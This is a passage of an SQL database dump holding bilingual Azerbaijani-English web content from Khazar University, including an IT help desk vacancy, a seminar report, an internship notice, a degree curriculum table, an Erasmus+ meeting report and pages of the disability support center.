proqamları-MS office (World, Excel, PowerPoint )<br>\r\n- Əməliyyat sistemi: Windows 7, Windows 8, 10\r\nquraşdırılması, yenilənməsi<br>\r\n- Göstərilən əməliyyat sistemlərində yaranmış\r\nnasazlıqların monitorinqi və həlli&nbsp;<br>\r\n- Printer, Proyektor və sair bu tipli periferiya\r\navadanlıqları ilə iş təcrübəsi<br>\r\n- İşçi yerlərinin yaradılması, dəstəyi və bərpası<br>\r\n- Şəbəkə, WiFi, LAN və sair qoşulma vasitələrinin\r\niş prinsipinin bilməsi</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:4.5pt;margin-left:0in;line-height:14.5pt;background:white\"\"=\"\">- Müəllim və tələbə heyətinə elektron\r\ntədrisdə dəstək<br>\r\n- Məsuliyyət, düzgünlük, dəqiqlik və etibarlılıq\r\nkimi müsbət&nbsp;<br>\r\ngöstəricilərə sahib olmaq&nbsp;<br>\r\n- Ünsiyyətqurma və komandada işləmək bacarığı&nbsp;<br>\r\n- Analitik təhlil və operativlik bacarığı<br>\r\n- Əmək haqqı – müsahibə əsasında<br>\r\n- Ancaq oğlan işçilər<br>\r\n- İş qrafiki həftə içi 9:00 –dan 18:00 – a kimi, şənbə\r\n- qısa gün<br>\r\n- Bazar, bayram günləri – qeyri iş günüdür</p>'),(2138,1314,'en','Vacancy: Khazar University IT Help Desk','- Language requirements: Azerbaijani, Russian (intermediate), English (intermediate)\r\n- At least 2-3 years experience in IT...\r\n','<p>- Language\r\nrequirements: Azerbaijani, Russian (intermediate), English (intermediate)</p>\r\n<p>- At least\r\n2-3 years experience in IT</p>\r\n<p>- Solve\r\ngeneral problems with Windows Server; work with File Server and Active\r\nDirectory</p>\r\n<p>- Office\r\nprograms- MS Office (Word, Excel, PowerPoint)</p>\r\n<p>- Operating\r\nsystems: set up and update Windows 7, Windows 8, Windows 10</p>\r\n<p>- Monitor\r\nand solve problems arising in the above operating systems</p>\r\n<p>- Experience\r\nworking with peripheral equipment like printers and projectors</p>\r\n<p>- Creation,\r\nsupport and recovery of workspaces</p>\r\n<p>- Working\r\nknowledge of network setup, WiFi, and LAN</p>\r\n<p>- Support\r\nstudents and staff with electronic learning </p>\r\n<p>- Must be\r\nresponsible, accurate, precise and reliable</p>\r\n<p>- Social and\r\nteamwork skills</p>\r\n<p>- Analytical\r\nability and efficiency</p>\r\n<p>- Salary\r\nwill be dependent on interview</p>\r\n<p>- Only male\r\napplicants</p>\r\n<p>- Work\r\nschedule is 9:00- 18:00; Saturday is a short day</p>\r\n<p>- Sundays\r\nand holidays are off</p>'),(2139,1315,'az','Tarix və arxeologiya departamentində seminar keçirildi','2016-cı il sentyabrın 8-də Xəzər Universiteti Tarix və arxeologiya departamentində “Hərbi döyüşdə qələbə və məğlubiyyəti təmin edən amillər: tarix və müasirlik” mövzusunda seminar keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il sentyabrın 8-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentində “Hərbi döyüşdə qələbə və məğlubiyyəti təmin edən amillər: tarix\r\nvə müasirlik” mövzusunda seminar keçirildi. Seminarı departamentin müdiri Roza\r\nArazova aparırdı. Seminarda Milli Azərbaycan Tarixi Müzeyinin elmi ekspazisiya\r\nvə sərgilərin təşkili şöbəsinin müdiri Səbuhi Əhmədov, departamentin müəllimi\r\nOrxan Zamanov, tarixçi-şərqşünas Fərda Əsədov və departament müdirinin assistenti\r\nAkifə Cəfərli çıxış etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Seminar iştirakçıları hərbi döyüş və müharibələrə təsirləri olan və nəticələrini\r\nmüəyyən edən amilləri müzakirə etdilər. Müharibə nəticəsinin qələbə və məğlubiyyətlə\r\nbitməsinə onların sistemli şəkildə birləşdirilimiş təsirlərinin önəmli olması\r\nqeyd edildi. Zaman keçdikcə qələbəyə təsiri olan amillər münasibətinin müəyyən\r\ndərəcədə dəyişməsi müzakirə edildi. Köçəri və oturaq həyat tərzi olan xalqlarda\r\nbu münasibətlərin müxtəlif olması qeyd olundu. Daha yaxından ərəblərin və\r\nmonqolların zəfərli hərbi əməliyyatları müqayisə edildi və nəticə etibarı ilə hər\r\nbirinin yeni ordu quruculuğu və hərbi taktika sahibi olması həlledici qələbə\r\namili kimi qeyd edildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qarabağda bu ilin aprelindəki hərbi əməliyyatlar və strategiya yenilikləri\r\ntarixin dərsləri işığında müzakirə edildi.</p>'),(2140,1315,'en','Department of History and Archeology Holds Seminar','On September 8, 2016, the Khazar University Department of History and Archeology held a seminar entitled “Factors Determining Victory and Defeat in Military Battles: History and Modernity...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nSeptember 8, 2016, the Khazar University Department of History and Archeology\r\nheld a seminar entitled “Factors Determining Victory and Defeat in Military\r\nBattles: History and Modernity.” The seminar was led by Associate Professor\r\nRoza Arazova, Head of the Department. Other speakers included Sabuhi Ahmadov,\r\nHead of the Division for Organization of Expositions and Exhibitions of the\r\nNational Azerbaijani History Museum; Orkhan Zamanov, instructor of the\r\nDepartment; Farda Asadov, historian and orientalist; and Akifa Jafarli,\r\nAssistant to the Department Head. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Seminar\r\nparticipants discussed factors influencing and determining the outcomes of\r\nmilitary battles and wars. They emphasized that systematic and unified\r\ninfluences are significant in determining whether the outcome of a conflict\r\nwould be victory or defeat. They compared successful Arab and Mongol military\r\noperations and noted that in each case, a decisive factor was the use of new\r\nmilitary structure and tactics. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nnew military maneuvers and strategies in the events of April 2016 in Karabakh\r\nwere discussed in light of these lessons from history.&nbsp;</p>'),(2141,1316,'en','Azersun Holding Announces Paid Internship Program ','Work Place: Azerbaijan Industry Bank...','<p>Work Place:\r\nAzerbaijan Industry Bank</p>\r\n<p>Period of\r\nInternship: 3 months</p>\r\n<p>Requirements:</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher Education in Economics </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLanguage Skills: Azerbaijani, Russian and English</p>\r\n<p>Candidates\r\ncompleting the program successfully will be offered opportunities to continue\r\nworking in the bank.</p>\r\n<p>Candidates are\r\nencouraged to send their CVs to the following e-mail address: <a href=\"mailto:cv@azersun.com\">cv@azersun.com</a>, indicating “Internship\r\nProgram” in the subject line.</p>'),(2142,1316,'az','Azersun Holding ödənişli \"Təcrübə proqramı\"-nı açıq elan edir.','İş yeri: Azərbaycan Sənaye Bankı ASC ...','<p style=\"\" margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left:0in;line-height:12.05pt;background:white\"\"=\"\">İş yeri:\r\nAzərbaycan Sənaye Bankı ASC&nbsp;<br>\r\nTəcrübə müddəti: 3 Ay&nbsp;<br>\r\nƏsas tələblər:&nbsp;<br>\r\n-Ali iqtisadi təhsil&nbsp;<br>\r\n-Dil bilikləri: Azərbaycan, rus və ingilis</p>\r\n<p style=\"\" margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left:0in;line-height:12.05pt;background:white\"\"=\"\">Təcrübə\r\nproqramını uğurla başa çatdıran namizədlər Azərbaycan Sənaye Bankında işlə\r\ntəmin olunacaqlar.</p>\r\n<p style=\"\" margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left:0in;line-height:12.05pt;background:white\"\"=\"\">Maraqlanan\r\nşəxslərdən CV-lərini mözvu yerinə “Təcrübə proqramı” yazaraq cv@azersun.com\r\nünvanına göndərmələri xahiş olunur.</p>'),(942,612,'en',' Bachelor Degree Program on History and Geography Education',' Bachelor Degree Program on History and Geography Education','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor Degree Program on History and Geography Education</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This program embraces issues and topics related to education, history and geography science, as well as interconnections between the three.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The program is based on professional knowledge and skills in history and geography science and utilizes a diversity of teaching methods. Internships provide a core part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"492\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"156\"><p>&nbsp;</p><p><strong>Code</strong></p></td><td width=\"228\"><p><strong>Courses</strong></p></td><td colspan=\"2\" width=\"108\"><p><strong>Credits</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>University Requirements</strong></p></td><td width=\"60\"><p><strong>24</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>General Education Requirements</strong></p></td><td width=\"60\"><p><strong>21</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>Major Requirements</strong></p></td><td width=\"60\"><p><strong>84</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>Core Geography Courses</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>21</strong></p></td></tr><tr><td width=\"156\"><p>GEOG 102</p><p>GEOG 204</p><p>GEOG 301</p><p>ENV 302</p><p>GEOG 302</p><p>GEOG 401</p><p>&nbsp;</p></td><td colspan=\"2\" rowspan=\"2\" width=\"276\"><p>Earth studies</p><p>Meteorology and Hydrology</p><p>&nbsp;Physical Geography of the World</p><p>Environmental Science</p><p>Physical Geography of Azerbaijan</p><p>Economic and Social Geography of Azerbaijan</p><p>Economic and Social Geography of the World</p><p>&nbsp;</p></td><td rowspan=\"2\" width=\"60\"><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3</p></td></tr><tr><td width=\"156\"><p>GEOG 402</p><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Elective Geography Courses</strong></p></td><td width=\"60\"><p><strong>9</strong></p></td></tr><tr><td width=\"156\"><p>GEOG 211</p><p>GEOG 201</p><p>GEOG 312</p><p>GEOG 412</p><p>ENV 415</p></td><td colspan=\"2\" width=\"276\"><p>Cartography</p><p>World Regional Geography</p><p>Tourism</p><p>Geography of the Turkic World</p><p>Environmental Management</p></td><td width=\"60\"><p>&nbsp;</p><p>3</p><p>3</p><p>3</p><p>3</p><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Core History Courses</strong></p></td><td width=\"60\"><p><strong>21</strong></p></td></tr><tr><td width=\"156\"><p>HIST110</p><p>HIST 203</p><p>HIST 303</p><p>HIST 304</p><p>HIST 321</p><p>HIST 322</p><p>HIST 403</p><p>HIST 404</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p>History of the World Civillizations-1</p><p>History of the World Civillizations-2</p><p>History of Azerbaijan-1</p><p>History of Azerbaijan-2</p><p>History of Medieval Europe</p><p>History of Modern Europe</p><p>History of Medieval and Modern East</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"60\"><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Elective History Courses</strong></p></td><td width=\"60\"><p><strong>9</strong></p></td></tr><tr><td width=\"156\"><p>HIST 412</p><p>HIST 315</p><p>HIST 217</p><p>&nbsp;</p><p>HIST 320</p><p>HIST 317</p><p>HIST 415</p></td><td colspan=\"2\" width=\"276\"><p>History of Turks</p><p>Archeology</p><p>History of the Origins and Development of Islam</p><p>Ethnology</p><p>International Status of Azerbaijan in 1917-1920</p><p>History of Caucasia</p></td><td width=\"60\"><p>3</p><p>3</p><p>&nbsp;</p><p>3</p><p>3</p><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p>(others)</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>Methods of Teaching</strong></p></td><td width=\"60\"><p><strong>6</strong></p></td></tr><tr><td width=\"156\"><p>EDU</p></td><td colspan=\"2\" rowspan=\"2\" width=\"276\"><p>Teaching Methods of History</p><p>Teaching Methods of Geography</p></td><td rowspan=\"2\" width=\"60\"><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>EDU</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Core Education Courses</strong></p></td><td width=\"60\"><p><strong>9</strong></p></td></tr><tr><td width=\"156\"><p>EDU 201</p></td><td colspan=\"2\" rowspan=\"3\" width=\"276\"><p>Introduction to Education</p><p>Curriculum and Assessment Strategies</p><p>Basics of Educational Psychology</p></td><td rowspan=\"3\" width=\"60\"><p>3</p><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>EDU 302</p></td></tr><tr><td width=\"156\"><p>PSYC 304</p></td></tr><tr><td colspan=\"4\" width=\"432\"><p><strong>Practicum and Internship &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;12</strong></p></td></tr><tr><td colspan=\"4\" width=\"96\"><p><strong>TOTAL&nbsp;&nbsp;&nbsp;132 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(943,612,'az','Tarixi - Coğrafiya müəllimliyi üzrə bakalavr proqramı','Tarixi - Coğrafiya müəllimliyi üzrə bakalavr proqramı','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor Degree Program in History and Geography Education</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This program embraces issues and topics related to education, history and geography science, as well as interconnections between the three.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The program is based on professional knowledge and skills in history and geography science and utilizes a diversity of teaching methods. Internships provide a core part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"492\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"156\"><p>&nbsp;</p><p><strong>Code</strong></p></td><td width=\"228\"><p><strong>Courses</strong></p></td><td colspan=\"2\" width=\"108\"><p><strong>Credits</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>University Requirements</strong></p></td><td width=\"60\"><p><strong>24</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>General Education Requirements</strong></p></td><td width=\"60\"><p><strong>21</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>Major Requirements</strong></p></td><td width=\"60\"><p><strong>84</strong></p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>Core Geography Courses</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>21</strong></p></td></tr><tr><td width=\"156\"><p>GEOG 102</p><p>GEOG 204</p><p>GEOG 301</p><p>ENV 302</p><p>GEOG 302</p><p>GEOG 401</p><p>&nbsp;</p></td><td colspan=\"2\" rowspan=\"2\" width=\"276\"><p>Earth studies</p><p>Meteorology and Hydrology</p><p>&nbsp;Physical Geography of the World</p><p>Environmental Science</p><p>Physical Geography of Azerbaijan</p><p>Economic and Social Geography of Azerbaijan</p><p>Economic and Social Geography of the World</p><p>&nbsp;</p></td><td rowspan=\"2\" width=\"60\"><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3</p></td></tr><tr><td width=\"156\"><p>GEOG 402</p><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Elective Geography Courses</strong></p></td><td width=\"60\"><p><strong>9</strong></p></td></tr><tr><td width=\"156\"><p>GEOG 211</p><p>GEOG 201</p><p>GEOG 312</p><p>GEOG 412</p><p>ENV 415</p></td><td colspan=\"2\" width=\"276\"><p>Cartography</p><p>World Regional Geography</p><p>Tourism</p><p>Geography of the Turkic World</p><p>Environmental Management</p></td><td width=\"60\"><p>&nbsp;</p><p>3</p><p>3</p><p>3</p><p>3</p><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Core History Courses</strong></p></td><td width=\"60\"><p><strong>21</strong></p></td></tr><tr><td width=\"156\"><p>HIST110</p><p>HIST 203</p><p>HIST 303</p><p>HIST 304</p><p>HIST 321</p><p>HIST 322</p><p>HIST 403</p><p>HIST 404</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p>History of the World Civillizations-1</p><p>History of the World Civillizations-2</p><p>History of Azerbaijan-1</p><p>History of Azerbaijan-2</p><p>History of Medieval Europe</p><p>History of Modern Europe</p><p>History of Medieval and Modern East</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"60\"><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Elective History Courses</strong></p></td><td width=\"60\"><p><strong>9</strong></p></td></tr><tr><td width=\"156\"><p>HIST 412</p><p>HIST 315</p><p>HIST 217</p><p>&nbsp;</p><p>HIST 320</p><p>HIST 317</p><p>HIST 415</p></td><td colspan=\"2\" width=\"276\"><p>History of Turks</p><p>Archeology</p><p>History of the Origins and Development of Islam</p><p>Ethnology</p><p>International Status of Azerbaijan in 1917-1920</p><p>History of Caucasia</p></td><td width=\"60\"><p>3</p><p>3</p><p>&nbsp;</p><p>3</p><p>3</p><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p>(others)</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td colspan=\"3\" width=\"432\"><p><strong>Methods of Teaching</strong></p></td><td width=\"60\"><p><strong>6</strong></p></td></tr><tr><td width=\"156\"><p>EDU</p></td><td colspan=\"2\" rowspan=\"2\" width=\"276\"><p>Teaching Methods of History</p><p>Teaching Methods of Geography</p></td><td rowspan=\"2\" width=\"60\"><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>EDU</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"276\"><p><strong>Core Education Courses</strong></p></td><td width=\"60\"><p><strong>9</strong></p></td></tr><tr><td width=\"156\"><p>EDU 201</p></td><td colspan=\"2\" rowspan=\"3\" width=\"276\"><p>Introduction to Education</p><p>Curriculum and Assessment Strategies</p><p>Basics of Educational Psychology</p></td><td rowspan=\"3\" width=\"60\"><p>3</p><p>3</p><p>3</p></td></tr><tr><td width=\"156\"><p>EDU 302</p></td></tr><tr><td width=\"156\"><p>PSYC 304</p></td></tr><tr><td colspan=\"4\" width=\"432\"><p><strong>Practicum and Internship &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;12</strong></p></td></tr><tr><td colspan=\"4\" width=\"96\"><p><strong>TOTAL&nbsp;&nbsp;&nbsp;132 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(944,613,'az','Coğrafiya müəllimliyi üzrə bakalavr proqramı','Coğrafiya müəllimliyi üzrə bakalavr proqramı','<p><strong><a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Cografiya%20muellimliyi.pdf\">Coğrafiya müəllimliyi üzrə bakalavr proqramı</a></strong></p><p style=\"text-align:justify\">Coğrafiya müəllimliyi üzrə bakalavr proqramı&nbsp;coğrafiya sahəsində lisenziya proqramıdır. Bütün kurslar müasir&nbsp;təhsil&nbsp;standartlarının&nbsp;tələblərinə cavab verir. Məzuniyyətdən sonra&nbsp;coğrafiya məzunları Azərbaycan orta məktəblərində çalışırlar. Azərbaycan təhsil sistemi yüksək ixtisaslı müəllimlərə ehtiyac duyur və buna görə də GEN bu proqrama uyğun olaraq proqramlarını tərtib edir. Bu diqqətlə, GEN dünyanın aparıcı universitetləri ilə əlaqələr inkişaf etdirmişdir. </p>'),(2233,1364,'en','NIZAMI Project Meeting in Sweden for Azerbaijani and European Partners','On September 26-28, 2016, the 2nd meeting of the ERASMUS + NIZAMI project took place in Uppsala, Sweden with the participation of members of European and Azerbaijan partner...','<p>On September 26-28, 2016, the 2nd meeting of the ERASMUS +\r\nNIZAMI project took place in Uppsala, Sweden with the participation of members\r\nof European and Azerbaijan partner higher education institutions as well as\r\nMinistry of Education representatives of Azerbaijan Republic. Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, and Dr. Irada Khalilova, Head of the Biological\r\nSciences Department, represented Khazar University in the meeting. The meeting\r\nwas held by Uppsala University, a European partner in the project.</p>\r\n<p>The meeting was opened by Erika Dabhilkar, Head of the\r\nInternational Office at Uppsala University, and Associate Professor Claes\r\nLevinsson, Head of the Centre for Russian Studies (UCRS). Then Prof. Eva\r\nAkesson, Vice-Chancellor of Uppsala University, delivered a welcome\r\nspeech.&nbsp; Prof. Veronique Montero, NIZAMI project coordinator, University\r\nof Montpellier, welcomed all European and Azerbaijan partner universities. She\r\npresented the details of the meeting agenda, and introduced the results of the\r\nproject’s first workpackage (WP1: State of the Art of Doctoral Studies) which\r\nwere presented in the form of an EU report written by professor Amparo Cortes,\r\nBarcelona University, Spain. Professor Philipp Baur, member of the\r\nInternational Office of Uppsala University, presented details about tasks and a\r\ndescription of WP5, internalization aspects in doctoral studies and tools to\r\nconduct research in an international environment. Perspectives from Azerbaijan\r\nand Europe were compared, and case studies were discussed.&nbsp; </p>\r\n<p>On the second day of meetings, Dr. Michael Winckler,\r\nadministrative director of HGS MathComp, Heidelberg University, who is also\r\nlocal coordinator of four Erasmus Mundus action 2 programs, presented the\r\nresults of an evaluation of Day 1. General introduction to standards and high\r\nstandards in doctoral education were presented by Dominika Hobzova and Monika\r\nSieberova from Masaryk University, Czech Republic. In group sessions,\r\nrepresentatives of the Ministry of Education of Azerbaijan, Azerbaijani partner\r\nuniversities and European partners discussed high standards in doctoral\r\neducation.</p>\r\n<p>On the third day of meetings, Dr. Michael Winckler,\r\nadministrative director of HGS MathComp, Heidelberg University, presented the\r\nresults of the quality assessment from the evaluation of Day 2. Prof. Veronique\r\nMontero, NIZAMI project coordinator, presented the online European Management\r\nportal and talked about its perspectives in sustainable communication in doctoral\r\neducation.&nbsp; All partners participated in the discussion. The meeting ended\r\nwith positive prospects for the next meeting of the NIZAMI project in\r\nAzerbaijan.</p><p>During the meetings, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, also met with the Vice-Chancellor of Uppsala University, Eva Åkesson, and members of the International Office to discuss opportunities for partnership between Khazar University and Uppsala University. A decision was made to continue discussions about partnership ideas.  <br></p><p><br></p><p><br></p>'),(2234,1365,'az','Bizim haqqımızda','Bizim haqqımızda','<p><strong>“Əlilliyi\r\nolan tələbələr üçün Mərkəz”</strong>in fəaliyyəti əlilliyi olan tələbələrə aid məsələləri\r\ntəşkil və idarə etməkdən ibarətdir. Mərkəzin əsas funksiyası əlilliyi olan tələbələrə\r\ntəhsildə dəstək olmaq üçün onları məlumatlar və xidmətlərlə təmin etməkdən ibarətdir.&nbsp; Mərkəz əlilliyi olan tələbələri lazımi\r\navadanlıqlarla təmin edəcək və həmçinin ehtiyac olduqda onların əlilliyinə\r\nuyğun imtahanların təşkil olunmasına yardım göstərəcəkdir.</p>\r\n<p>Mərkəz\r\naşağıdakı əlilliyi olan tələbələrə yardım və xidmət göstərəcək: tam və ya qismən\r\ngörmə qabilliyətini itirmiş, fiziki məhdudiyyətli və nitq məhdudiyyəti olanlar.\r\nMərkəzin koordinatoru bütün fakültələrə əlilliyi olan tələbələrə necə yardım və\r\ndəstək göstərmək haqqında təlimatlar təqdim edəcəkdir.</p>\r\n<p>Tələbələr\r\nBazar ertəsi – Cümə saat 10:00-dan 17:00 –dək mərkəzə müraciət edə bilərlər.\r\nƏvvəlcədən razılaşma yolu ilə müraciətlər digər saatlarda da mümkündür. Mərkəzlə\r\nəlaqə saxlamaq üçün <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>&nbsp; e-mail ünvanına&nbsp;\r\nyazın və ya zəng edin.</p>\r\n<p>Tel:\r\n(+99412) 4217916 (Ext 234)</p>'),(2235,1365,'en','About Us ','About Us ','<p>The <strong>Center for Students with Disabilities\' </strong>task<strong>s</strong> are organization and coordination of all the issues connected with students with disabilities at the University such as: the application procedures, monitoring the implementation of the policies regarding students with disabilities, contacts and advising academic and administrative staff and arranging for the necessary facilities, support and information.</p>\r\n<p>The main function of the Center is to provide information and assistance which will facilitate students with disabilities to achieve their academic requirements. The Center will provide assistive technology to support educational goals as well as assist in creating examination arrangements according to the individual needs of students resulting from their disability.</p>\r\n<p>The Center will assist and provide services for university students with following disabilities: visually impaired and partially sighted, mobility impaired and speech disabilities. The coordinator of the Center will present the guidelines on how to support and assist different kind of disabilities to all faculties of the University.</p>\r\n<p>The Center will be available for consultation for students from Monday to Friday, 10:00 AM to 5:00 PM. Other consultation hours may be available on prior arrangement. To schedule an appointment, students are requested to call or write an e-mail to: <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a></p>'),(2236,1366,'en','Our services','Our services','<p style=\"text-align:justify\">The\r\nCenter&nbsp;provides with the guidelines all academic and administrative staff.\r\nThe coordinator of the Center presents the guidelines on how to support and\r\nassist students with different kind of disabilities to all faculties of the\r\nUniversity as well. The Center also&nbsp;supports administration staff in providing\r\naccommodations facilitating development of inclusive education and process. </p>\r\n<p style=\"text-align:justify\">Support\r\nservices, and programs that are available at the Center include:</p>\r\n<p style=\"text-align:justify\"></p><ul><li>Providing the assistive equipment and software such as braille printer, pearl +\r\nopenbook document reading camera, braille display, magic large print keyboard,\r\nmaltron expanded keyboard, haydi switch mouse, magic for windows and JAWS\r\nscreen reader professional;</li><li>Coordination\r\nand administration of specialized services, including consultation and advice at<em></em>the\r\nfaculty concerning accommodation for individual students resulting from their\r\ndisability;</li><li>Counseling\r\nand advising;</li><li>Syllabi prepared by the instructors in advance;</li><li>Conversion\r\nof instructional materials to accessible formats;</li><li>Support for Examinations including extra time, a private room, use of a\r\ncomputer, adaptive software or word processor, or access to a reader as needed -\r\nAlternate scheduling for the completion of course, project, thesis work, or\r\nexaminations;</li><li>Informing\r\nthe faculty that prolonged period of time for completion of a course may be\r\nadvised due to student’s needs resulting from disability, it should be included\r\nin letter to teacher;</li><li>Enlarging and brailing of materials;</li><li>Extended time for tests (usually up to time and a half or double time);</li><li>Priority seating;</li><li>Getting permission from the instructor to record\r\nclass lectures;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 